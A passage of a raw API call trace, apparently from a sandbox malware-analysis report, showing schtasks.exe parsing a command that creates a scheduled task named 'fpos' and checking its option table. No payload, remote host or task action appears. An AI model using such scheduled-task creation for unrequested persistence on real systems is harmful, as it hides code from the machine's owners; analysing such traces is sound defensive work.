0x3b0000 [0155.544] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb990) returned 1 [0155.544] GetProcessHeap () returned 0x3b0000 [0155.544] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cb990) returned 0x18 [0155.544] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb990 | out: hHeap=0x3b0000) returned 1 [0155.544] SetLastError (dwErrCode=0x0) [0155.544] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0155.544] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0155.544] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0155.544] VerifyVersionInfoW (in: lpVersionInformation=0x23c2b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23c2b0) returned 1 [0155.544] SetLastError (dwErrCode=0x0) [0155.544] lstrlenW (lpString="create") returned 6 [0155.544] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0155.544] SetLastError (dwErrCode=0x490) [0155.544] SetLastError (dwErrCode=0x0) [0155.544] lstrlenW (lpString="create") returned 6 [0155.544] GetProcessHeap () returned 0x3b0000 [0155.544] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd50 [0155.544] GetProcessHeap () returned 0x3b0000 [0155.544] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd560 [0155.544] _memicmp (_Buf1=0x3cd560, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.544] GetProcessHeap () returned 0x3b0000 [0155.545] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd4e0 [0155.545] SetLastError (dwErrCode=0x0) [0155.545] _memicmp (_Buf1=0x3cba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.545] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cbbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0155.545] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0155.545] GetProcessHeap () returned 0x3b0000 [0155.545] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x74e) returned 0x3cdd30 [0155.545] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3cdd30 | out: lpData=0x3cdd30) returned 1 [0155.546] VerQueryValueW (in: pBlock=0x3cdd30, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23c398, puLen=0x23c400 | out: lplpBuffer=0x23c398*=0x3ce0cc, puLen=0x23c400) returned 1 [0155.546] _memicmp (_Buf1=0x3cba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.546] _vsnwprintf (in: _Buffer=0x3cbbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23c378 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0155.546] VerQueryValueW (in: pBlock=0x3cdd30, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23c408, puLen=0x23c3f8 | out: lplpBuffer=0x23c408*=0x3cdef8, puLen=0x23c3f8) returned 1 [0155.546] lstrlenW (lpString="schtasks.exe") returned 12 [0155.546] lstrlenW (lpString="schtasks.exe") returned 12 [0155.546] lstrlenW (lpString=".EXE") returned 4 [0155.546] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0155.546] lstrlenW (lpString="schtasks.exe") returned 12 [0155.546] lstrlenW (lpString=".EXE") returned 4 [0155.546] lstrlenW (lpString="schtasks") returned 8 [0155.546] lstrlenW (lpString="/create") returned 7 [0155.546] _memicmp (_Buf1=0x3cba50, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.546] _vsnwprintf (in: _Buffer=0x3cbbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x23c378 | out: _Buffer="schtasks /create") returned 16 [0155.546] _memicmp (_Buf1=0x3cba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.546] GetProcessHeap () returned 0x3b0000 [0155.546] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd20 [0155.546] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.546] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0155.546] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0155.546] GetProcessHeap () returned 0x3b0000 [0155.546] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x30) returned 0x3c7a90 [0155.546] _vsnwprintf (in: _Buffer=0x3cbff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23c378 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0155.547] GetProcessHeap () returned 0x3b0000 [0155.547] GetProcessHeap () returned 0x3b0000 [0155.547] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd30) returned 1 [0155.547] GetProcessHeap () returned 0x3b0000 [0155.547] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd30) returned 0x74e [0155.547] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd30 | out: hHeap=0x3b0000) returned 1 [0155.547] SetLastError (dwErrCode=0x0) [0155.547] GetThreadLocale () returned 0x409 [0155.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.547] lstrlenW (lpString="create") returned 6 [0155.547] GetThreadLocale () returned 0x409 [0155.547] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.547] lstrlenW (lpString="?") returned 1 [0155.547] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="s") returned 1 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="u") returned 1 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="p") returned 1 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="ru") returned 2 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="rp") returned 2 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="sc") returned 2 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="mo") returned 2 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="d") returned 1 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="m") returned 1 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="i") returned 1 [0155.548] GetThreadLocale () returned 0x409 [0155.548] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.548] lstrlenW (lpString="tn") returned 2 [0155.548] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="tr") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="st") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="sd") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="ed") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="it") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="et") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="k") returned 1 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="du") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="ri") returned 2 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="z") returned 1 [0155.549] GetThreadLocale () returned 0x409 [0155.549] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.549] lstrlenW (lpString="f") returned 1 [0155.549] GetThreadLocale () returned 0x409 [0155.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.550] lstrlenW (lpString="v1") returned 2 [0155.550] GetThreadLocale () returned 0x409 [0155.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.550] lstrlenW (lpString="xml") returned 3 [0155.550] GetThreadLocale () returned 0x409 [0155.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.550] lstrlenW (lpString="ec") returned 2 [0155.550] GetThreadLocale () returned 0x409 [0155.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.550] lstrlenW (lpString="rl") returned 2 [0155.550] GetThreadLocale () returned 0x409 [0155.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.550] lstrlenW (lpString="delay") returned 5 [0155.550] GetThreadLocale () returned 0x409 [0155.550] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0155.550] lstrlenW (lpString="np") returned 2 [0155.550] SetLastError (dwErrCode=0x0) [0155.550] SetLastError (dwErrCode=0x0) [0155.550] lstrlenW (lpString="/create") returned 7 [0155.550] lstrlenW (lpString="-/") returned 2 [0155.550] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.550] lstrlenW (lpString="create") returned 6 [0155.550] lstrlenW (lpString="create") returned 6 [0155.550] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.550] lstrlenW (lpString="create") returned 6 [0155.550] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.550] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.550] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.550] lstrlenW (lpString="|create|") returned 8 [0155.550] lstrlenW (lpString="|create|") returned 8 [0155.551] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0155.551] SetLastError (dwErrCode=0x0) [0155.551] SetLastError (dwErrCode=0x0) [0155.551] SetLastError (dwErrCode=0x0) [0155.551] lstrlenW (lpString="/tn") returned 3 [0155.551] lstrlenW (lpString="-/") returned 2 [0155.551] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.551] lstrlenW (lpString="create") returned 6 [0155.551] lstrlenW (lpString="create") returned 6 [0155.551] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.551] lstrlenW (lpString="tn") returned 2 [0155.551] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.551] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.551] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.551] lstrlenW (lpString="|create|") returned 8 [0155.551] lstrlenW (lpString="|tn|") returned 4 [0155.551] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0155.551] SetLastError (dwErrCode=0x490) [0155.551] lstrlenW (lpString="?") returned 1 [0155.551] lstrlenW (lpString="?") returned 1 [0155.551] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.551] lstrlenW (lpString="tn") returned 2 [0155.551] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.551] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|?|") returned 3 [0155.551] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.551] lstrlenW (lpString="|?|") returned 3 [0155.551] lstrlenW (lpString="|tn|") returned 4 [0155.551] SetLastError (dwErrCode=0x490) [0155.551] lstrlenW (lpString="s") returned 1 [0155.551] lstrlenW (lpString="s") returned 1 [0155.552] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.552] lstrlenW (lpString="tn") returned 2 [0155.552] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.552] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|s|") returned 3 [0155.552] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.552] lstrlenW (lpString="|s|") returned 3 [0155.552] lstrlenW (lpString="|tn|") returned 4 [0155.552] SetLastError (dwErrCode=0x490) [0155.552] lstrlenW (lpString="u") returned 1 [0155.552] lstrlenW (lpString="u") returned 1 [0155.552] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.552] lstrlenW (lpString="tn") returned 2 [0155.552] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.552] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|u|") returned 3 [0155.552] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.552] lstrlenW (lpString="|u|") returned 3 [0155.552] lstrlenW (lpString="|tn|") returned 4 [0155.552] SetLastError (dwErrCode=0x490) [0155.552] lstrlenW (lpString="p") returned 1 [0155.552] lstrlenW (lpString="p") returned 1 [0155.552] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.552] lstrlenW (lpString="tn") returned 2 [0155.552] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.552] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|p|") returned 3 [0155.552] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.552] lstrlenW (lpString="|p|") returned 3 [0155.552] lstrlenW (lpString="|tn|") returned 4 [0155.552] SetLastError (dwErrCode=0x490) [0155.552] lstrlenW (lpString="ru") returned 2 [0155.553] lstrlenW (lpString="ru") returned 2 [0155.553] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.553] lstrlenW (lpString="tn") returned 2 [0155.553] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.553] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|ru|") returned 4 [0155.553] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.553] lstrlenW (lpString="|ru|") returned 4 [0155.553] lstrlenW (lpString="|tn|") returned 4 [0155.553] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0155.553] SetLastError (dwErrCode=0x490) [0155.553] lstrlenW (lpString="rp") returned 2 [0155.553] lstrlenW (lpString="rp") returned 2 [0155.553] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.553] lstrlenW (lpString="tn") returned 2 [0155.553] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.553] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|rp|") returned 4 [0155.553] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.553] lstrlenW (lpString="|rp|") returned 4 [0155.553] lstrlenW (lpString="|tn|") returned 4 [0155.553] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0155.553] SetLastError (dwErrCode=0x490) [0155.553] lstrlenW (lpString="sc") returned 2 [0155.553] lstrlenW (lpString="sc") returned 2 [0155.553] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.553] lstrlenW (lpString="tn") returned 2 [0155.553] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.553] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.553] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.554] lstrlenW (lpString="|sc|") returned 4 [0155.554] lstrlenW (lpString="|tn|") returned 4 [0155.554] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0155.554] SetLastError (dwErrCode=0x490) [0155.554] lstrlenW (lpString="mo") returned 2 [0155.554] lstrlenW (lpString="mo") returned 2 [0155.554] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.554] lstrlenW (lpString="tn") returned 2 [0155.554] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.554] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|mo|") returned 4 [0155.554] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.554] lstrlenW (lpString="|mo|") returned 4 [0155.554] lstrlenW (lpString="|tn|") returned 4 [0155.554] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0155.554] SetLastError (dwErrCode=0x490) [0155.554] lstrlenW (lpString="d") returned 1 [0155.554] lstrlenW (lpString="d") returned 1 [0155.554] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.554] lstrlenW (lpString="tn") returned 2 [0155.554] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.554] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|d|") returned 3 [0155.554] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.554] lstrlenW (lpString="|d|") returned 3 [0155.554] lstrlenW (lpString="|tn|") returned 4 [0155.554] SetLastError (dwErrCode=0x490) [0155.554] lstrlenW (lpString="m") returned 1 [0155.554] lstrlenW (lpString="m") returned 1 [0155.554] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.554] lstrlenW (lpString="tn") returned 2 [0155.554] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.555] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|m|") returned 3 [0155.555] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.555] lstrlenW (lpString="|m|") returned 3 [0155.555] lstrlenW (lpString="|tn|") returned 4 [0155.555] SetLastError (dwErrCode=0x490) [0155.555] lstrlenW (lpString="i") returned 1 [0155.555] lstrlenW (lpString="i") returned 1 [0155.555] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.555] lstrlenW (lpString="tn") returned 2 [0155.555] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.555] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|i|") returned 3 [0155.555] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.555] lstrlenW (lpString="|i|") returned 3 [0155.555] lstrlenW (lpString="|tn|") returned 4 [0155.555] SetLastError (dwErrCode=0x490) [0155.555] lstrlenW (lpString="tn") returned 2 [0155.555] lstrlenW (lpString="tn") returned 2 [0155.555] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.555] lstrlenW (lpString="tn") returned 2 [0155.555] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.555] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.555] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|tn|") returned 4 [0155.555] lstrlenW (lpString="|tn|") returned 4 [0155.555] lstrlenW (lpString="|tn|") returned 4 [0155.555] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0155.555] SetLastError (dwErrCode=0x0) [0155.555] SetLastError (dwErrCode=0x0) [0155.555] lstrlenW (lpString="fpos") returned 4 [0155.555] lstrlenW (lpString="-/") returned 2 [0155.556] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0155.556] SetLastError (dwErrCode=0x490) [0155.556] SetLastError (dwErrCode=0x490) [0155.556] SetLastError (dwErrCode=0x0) [0155.556] lstrlenW (lpString="fpos") returned 4 [0155.556] StrChrIW (lpStart="fpos", wMatch=0x3a) returned 0x0 [0155.556] SetLastError (dwErrCode=0x490) [0155.556] SetLastError (dwErrCode=0x0) [0155.556] lstrlenW (lpString="fpos") returned 4 [0155.556] SetLastError (dwErrCode=0x0) [0155.556] SetLastError (dwErrCode=0x0) [0155.556] lstrlenW (lpString="/sc") returned 3 [0155.556] lstrlenW (lpString="-/") returned 2 [0155.556] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.556] lstrlenW (lpString="create") returned 6 [0155.556] lstrlenW (lpString="create") returned 6 [0155.556] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.556] lstrlenW (lpString="sc") returned 2 [0155.556] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.556] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|create|") returned 8 [0155.556] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.556] lstrlenW (lpString="|create|") returned 8 [0155.556] lstrlenW (lpString="|sc|") returned 4 [0155.556] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0155.556] SetLastError (dwErrCode=0x490) [0155.556] lstrlenW (lpString="?") returned 1 [0155.556] lstrlenW (lpString="?") returned 1 [0155.556] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.556] lstrlenW (lpString="sc") returned 2 [0155.556] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.556] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|?|") returned 3 [0155.557] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.557] lstrlenW (lpString="|?|") returned 3 [0155.557] lstrlenW (lpString="|sc|") returned 4 [0155.557] SetLastError (dwErrCode=0x490) [0155.557] lstrlenW (lpString="s") returned 1 [0155.557] lstrlenW (lpString="s") returned 1 [0155.557] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.557] lstrlenW (lpString="sc") returned 2 [0155.557] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.557] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|s|") returned 3 [0155.557] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c388 | out: _Buffer="|sc|") returned 4 [0155.557] lstrlenW (lpString="|s|") returned 3 [0155.557] lstrlenW (lpString="|sc|") returned 4 [0155.557] SetLastError (dwErrCode=0x490) [0155.557] lstrlenW (lpString="u") returned 